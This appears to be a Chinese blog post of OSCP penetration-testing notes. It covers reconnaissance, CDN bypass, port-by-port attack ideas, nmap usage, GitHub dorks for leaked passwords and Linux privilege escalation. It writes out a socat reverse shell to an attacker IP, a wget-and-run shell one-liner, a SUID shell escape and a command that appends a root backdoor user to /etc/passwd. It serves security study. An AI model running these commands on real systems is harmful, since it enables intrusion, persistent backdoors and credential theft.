渗透框架

OSCP Guide

信息收集

whois 信息

获取注册人信息,包括注册邮箱、注册公司、管理员邮箱、管理员联系电话,可以社工,还可以查询同一注册人注册的其他域名,域名对应的NS记录、MX记录,自动识别国内常见托管商

1
2
3
4
5
6
http://ipwhois.cnnic.net.cn/
http://whois.chinaz.com
https://x.threatbook.cn/
https://who.is/
https://whois.aizhan.com/
Linux whois 命令

站长之家和微步支持反查,另外两个中文显示有乱码

子域名

  1. 爆破,

    1
    2
    3
    4
    5
    wydomain,
    sublist3r
    layer 子域名挖掘机(支持端口扫描和探测服务器类型)
    https://phpinfo.me/domain
    subDomainsBrute
  2. google hack,搜索 site:example.com,也可以使用其他搜索引擎

dns解析记录、爬虫、ssl证书、dns历史解析等等

备案信息

分为 IPC 备案信息和公安部备案信息,只有国内服务器需要备案。

1
2
http://www.beianbeian.com/
http://www.gsxt.gov.cn/index.html

企业信息

天眼查、启信宝

CDN

判断

  1. Nslookup,Windows 命令:
1
nslookup baidu.com
  1. host,dig , Linux 命令:
1
2
host 360.cn
dig 360.cn
  1. 多地ping,网站:
1
2
3
https://asm.ca.com/en/ping.php/
http://ping.chinaz.com/
https://ping.aizhan.com/
  1. 使用工具查询
1
2
3
4
http://www.cdnplanet.com/tools/cdnfinder/
https://www.ipip.net/ip.html
http://tool.chinaz.com/dns/
https://tool.lu/dns/

绕过

  1. 子域名入手,有些子域名没有使用 cdn
  2. 利用网站漏洞,比如 phpinfo 信息泄露, Apache status 和 Jboss statu 泄露,源代码泄露, svn信息泄露, github 信息泄露
  3. 历史dns记录,查询网站:
1
2
3
4
5
6
7
8
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
http://toolbar.netcraft.com/site_report?url=
http://viewdns.info/
http://www.17ce.com/
https://sitereport.netcraft.com/
https://community.riskiq.com/
http://www.crimeflare.com/cfssl.html
  1. CDN 本身入手,比如利用社工获得控制面板的账号密码
  2. Mx记录或邮件,很多站点有发送邮件的功能,比如 rss 订阅,邮件系统一般在内部,没有经过CDN,邮件源码中可能包含服务器真实 IP
  3. 国外请求,国内CDN有时不会覆盖国外,可以通过国外代理访问得到真实 IP
1
https://asm.ca.com/en/ping.php
  1. 扫描探测,通过信息收集,缩小扫描范围,确定一个较小的 IP 和端口范围,通过 http 指纹特征和 keyword 等综合判断
1
2
https://github.com/zmap/zgrab/
http://www.ipdeny.com/ipblocks/
  1. Zmap,参考 安全客 - 简单获取 CDN 背后的真实IP
  2. 网络空间引擎搜索,zoomeye fofa shodan,获得历史快照,获取特征,例如:特有的 HTTP 头(server类型,版本,cookie等信息)、特定keyword(title, css, js, url等)、特定IP段搜索(fofa支持C段搜索)
  3. 查询 HTTPS 证书,
1
https://censys.io/

这个网站会将所有 IP 进行扫描和连接,以及证书探测,如果目标站点有 https 证书,而且默认虚拟主机配了https证书,就可以找所有目标站点是改https证书的站点。

1
443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com
  1. F5 LTM 负载均衡解码获取真实内网IP,透过F5获取服务器真实内网IP - ThreatHunter

旁站

查询与目标网站在同一台服务器上的网站

1
https://tool.lu/dns/

C段

查询与目标服务器IP在同一C段的服务器

1
2
北极熊扫描器
Nmap /24

邮箱收集

首先确定目标邮件服务器所在的真实位置,看看邮件服务器有没有什么错误配置,比如没有禁用VREY或者EXPN命令导致用户信息泄露。然后从 whois 中获得域名的注册人,管理员邮箱,利用该搜索引擎和社工库等查看有没有泄露密码。或者从目标站点上搜集邮箱,比如网站上的联系我们,可以用于钓鱼。工具:theharvester

端口扫描

开始时可以使用 telnet 简单检查端口是否开放,防止使用扫描器被封IP。可以用 nmap, masscan进行扫描,常见端口以及渗透方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
端口号	   端口服务/协议简要说明	       关于端口可能的一些渗透用途
tcp 20,21 ftp 默认的数据和命令传输端口[可明文亦可加密传输] 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)
tcp 22 ssh[数据ssl加密传输] 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输,等等…常用于linux远程管理…
tcp 23 telnet[明文传输] 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令,也许会有意想不到的收获
tcp 25 smtp[简单邮件传输协议,多数linux发行版可能会默认开启此服务] 邮件伪造,vrfy/expn 查询邮件用户信息,可使用smtp-user-enum工具来自动跑
tcp/udp 53 dns[域名解析] 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控
tcp/udp 69 tftp[简单文件传输协议,无认证] 尝试下载目标及其的各类重要配置文件
tcp 80-89,443,8440-8450,8080-8089 web[各种常用的web服务端口] 各种常用web服务端口,可尝试经典的top n,vpn,owa,webmail,目标oa,各类java控制台,各类服务器web管理面板,各类web中间件漏洞利用,各类web框架漏洞利用等等……
tcp 110 [邮局协议,可明文可密文] 可尝试爆破,嗅探
tcp 137,139,445 samba[smb实现windows和linux间文件共享,明文] 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……
tcp 143 imap[可明文可密文] 可尝试爆破
udp 161 snmp[明文] 爆破默认团队字符串,搜集目标内网信息
tcp 389 ldap[轻量级目录访问协议] ldap注入,允许匿名访问,弱口令
tcp 512,513,514 linux rexec 可爆破,rlogin登陆
tcp 873 rsync备份服务 匿名访问,文件上传
tcp 1194 openvpn 想办法钓vpn账号,进内网
tcp 1352 Lotus domino邮件服务 弱口令,信息泄漏,爆破
tcp 1433 mssql数据库 注入,提权,sa弱口令,爆破
tcp 1521 oracle数据库 tns爆破,注入,弹shell…
tcp 1500 ispmanager 主机控制面板 弱口令
tcp 1025,111,2049 nfs 权限配置不当
tcp 1723 pptp 爆破,想办法钓vpn账号,进内网
tcp 2082,2083 cpanel主机管理面板登录 弱口令
tcp 2181 zookeeper 未授权访问
tcp 2601,2604 zebra路由 默认密码zerbra
tcp 3128 squid代理服务 弱口令
tcp 3312,3311 kangle主机管理登录 弱口令
tcp 3306 mysql数据库 注入,提权,爆破
tcp 3389 windows rdp远程桌面 shift后门[需要03以下的系统],爆破,ms12-020[蓝屏exp]
tcp 4848 glassfish控制台 弱口令
tcp 4899 radmin远程桌面管理工具,现在已经非常非常少了 抓密码拓展机器
tcp 5000 sybase/DB2数据库 爆破,注入
tcp 5432 postgresql数据库 爆破,注入,弱口令
tcp 5632 pcanywhere远程桌面管理工具 抓密码,代码执行,已经快退出历史舞台了
tcp 5900,5901,5902 vnc远程桌面管理工具 弱口令爆破,如果信息搜集不到位,成功几率很小
tcp 5984 CouchDB 未授权导致的任意指令执行
tcp 6379 redis未授权 可尝试未授权访问,弱口令爆破
tcp 7001,7002 weblogic控制台 java反序列化,弱口令
tcp 7778 kloxo 主机面板登录
tcp 8000 Ajenti主机控制面板 弱口令
tcp 8443 plesk主机控制面板 弱口令
tcp 8069 zabbix 远程执行,sql注入
tcp 8080-8089 Jenkins,jboss 反序列化,控制台弱口令
tcp 9080-9081,9090 websphere控制台 java反序列化/弱口令
tcp 9200,9300 elasticsearch 远程执行
tcp 10000 webmin linux主机web控制面板入口 弱口令
tcp 11211 memcached 未授权访问
tcp 27017,27018 mongodb 爆破,未授权访问
tcp 3690 svn服务 svn泄露,未授权访问
tcp 50000 SAP Management Console 远程执行
tcp 50070,50030 hadoop 默认端口未授权访问

nmap 常用选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# 扫描选项

-sP # 只扫描在线情况
-sS # SYN 扫描
-sT # TCP 扫描
-sU # UDP 扫描
-sV # 服务版本检测
-O # 操作系统识别
--scanflags # 指定 TCP 标志位,包括 URG, ACK, PSH, RST, SYN, FIN

# 时序选项

-T0 偏执的:非常非常慢,用于IDS逃逸
-T1 猥琐的:相当慢,用于IDS逃逸
-T2 有礼貌的:降低速度以消耗更小的带宽,比默认慢十倍
-T3 普通的:默认,根据目标的反应自动调整时间模式
-T4 野蛮的:假定处在一个很好的网络环境,请求可能会淹没目标
-T5 疯狂的:非常野蛮,很可能会淹没目标端口或是漏掉一些开放端口

# 脚本

-sC 等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别
script=<Lua scripts> <Lua scripts>使用某个或某类脚本进行扫描,支持通配符描述
script-args=<n1=v1,[n2=v2,...]> 为脚本提供默认参数
script-args-file=filename 使用文件来为脚本提供参数
–script-trace 显示脚本执行过程中发送与接收的数据
–script-updatedb 更新脚本数据库
script-help=<scripts> 显示脚本的帮助信息,其中<scripts>部分可以逗号分隔的文件或脚本类别

# 脚本分类

auth 负责处理鉴权证书(绕开鉴权)绕过目标主机得访问控制的脚本
broadcast 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute 提供暴力破解方式,针对常见的应用如http/snmp等
default 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos 用于进行拒绝服务攻击
exploit 利用已知的漏洞入侵系统
external 利用第三方的数据库或资源,例如进行whois解析
fuzzer 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware 探测目标机是否感染了病毒、开启了后门等信息
safe 此类与intrusive相反,属于安全性脚本
version 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

按脚本分类扫描

# 负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=auth 192.168.137.*

# 提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap --script=brute 192.168.137.*

# 默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击
nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

# 检查是否存在常见漏洞
nmap --script=vuln 192.168.137.*

# 在局域网内探查更多服务开启状况
nmap -n -p445 --script=broadcast 192.168.137.4

# 利用第三方的数据库或资源,例如进行whois解析
nmap --script external 202.103.243.110

服务器和中间件信息

通过 nmap, zmap 等端口和指纹识别功能搜集,也可以使用 nc 和 telnet 进行 banner信息识别,常用工具 whatweb, www.yunsee.cn , wappalyzer

WAF

WAF识别一般基于 header 信息,工具:waf00f,whatwaf,nmap

nmap 脚本:http-waf-detect, http-waf-fingerprint

敏感文件、目录扫描

  1. 御剑,dirsearch,dirb,dirbuster
  2. 搜索引擎,基本语法
1
2
3
4
5
6
7
8
9
10
11
12
""		# 强制搜索
- # 不包含该管检测
| # 或者
site # 与这个域名相关
intext # 正文中包含关键词
intitle # 标题中包含关键词
cache # 搜索缓存
define # 搜索定义
filetype # 搜索指定文件类型
info # 查找站点基本信息
inurl # 包含关键词的URL
link # 包含链接
  1. BBscan

  2. GSIL,搜索Github信息

  3. 社交平台(QQ群,文库,求职网),可以通过QQ群文件,在线文档平台等泄露敏感信息

CMS

1
2
3
4
5
6
7
8
国内:
http://whatweb.bugscaner.com/look/
http://yunsee.cn
http://finger.tidesec.net/
国外:
https://whatcms.org
https://itrack.ru/whatcms/
http://cmsdetect.com/

识别后可以搜索已知漏洞,查找源代码进行审计。

脆弱系统

通过网络空间搜索引擎进行查询

1
2
3
shodan
fofa
zoomeye

Github

搜索 github 上的信息

邮件配置:

1
2
3
4
5
6
7
site:Github.com smtp
site:Github.com smtp @qq.com
site:Github.com smtp @126.com
site:Github.com smtp @163.com
site:Github.com smtp @sina.com.cn
site:Github.com smtp password
site:Github.com String password smtp

数据库信息:

1
2
3
site:Github.com sa password
site:Github.com root password
site:Github.com User ID=’sa’;Password

SVN 信息:

1
2
3
4
site:Github.com svn
site:Github.com svn username
site:Github.com svn password
site:Github.com svn username password

数据库备份:

1
site:Github.com inurl:sql

其他:

1
2
3
4
site:Github.com password
site:Github.com ftp ftppassword
site:Github.com 密码
site:Github.com 内部

权限提升

Linux 提权参考

SUID 提权

SUID提权

查找所有SUID可执行文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

可 SUID 提权的可执行文件:

  • Nmap(2.02-5.21)

  • find

    1
    find . -exec /bin/sh -p \; -quit
  • vim

  • bash

  • less

  • more

Sudo提权

注意事项

升级shell

参考Upgrading Simple Shells to Fully Interactive TTYs

升级方法有三:

  • 使用 python pty 模块

    1
    python -c 'import pty; pty.spawn("/bin/bash")'
  • 使用 socat

    攻击者(监听)

    1
    socat file:`tty`,raw,echo=0 tcp-listen:4444

    受害者

    1
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.3.1:4444

    若受害者没有安装 socat,可以下载 Socat - Github

    1
    wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.3.1:4444
  • 使用 netcat

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # In reverse shell
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    Ctrl-Z

    # In Kali
    $ stty raw -echo
    $ fg

    # In reverse shell
    $ reset
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows <num> columns <cols>

find 命令

/etc/passwd 中添加用户

字段 含义
用户名
密码 密文
UID
GID 默认组ID
注释性描述
宿主目录 登陆后的默认目录
命令解释器 该用户使用的 shell,默认 bash

添加新用户

1
2
3
4
# 生成密码密文
perl -le 'print crypt("H@ck3dPswd","salt")'
# 写 /etc/passwd
echo "h4ck3r:sa5uB0fsSFsiE:0:0:hacker:/root:/bin/bash" >> /etc/passwd

敏感文件

1
2
3
/etc/passwd
/etc/shadow
/etc/apache2/.htpasswd.txt

密码爆破

john

作者

lll

发布于

2020-04-20

更新于

2022-09-19

许可协议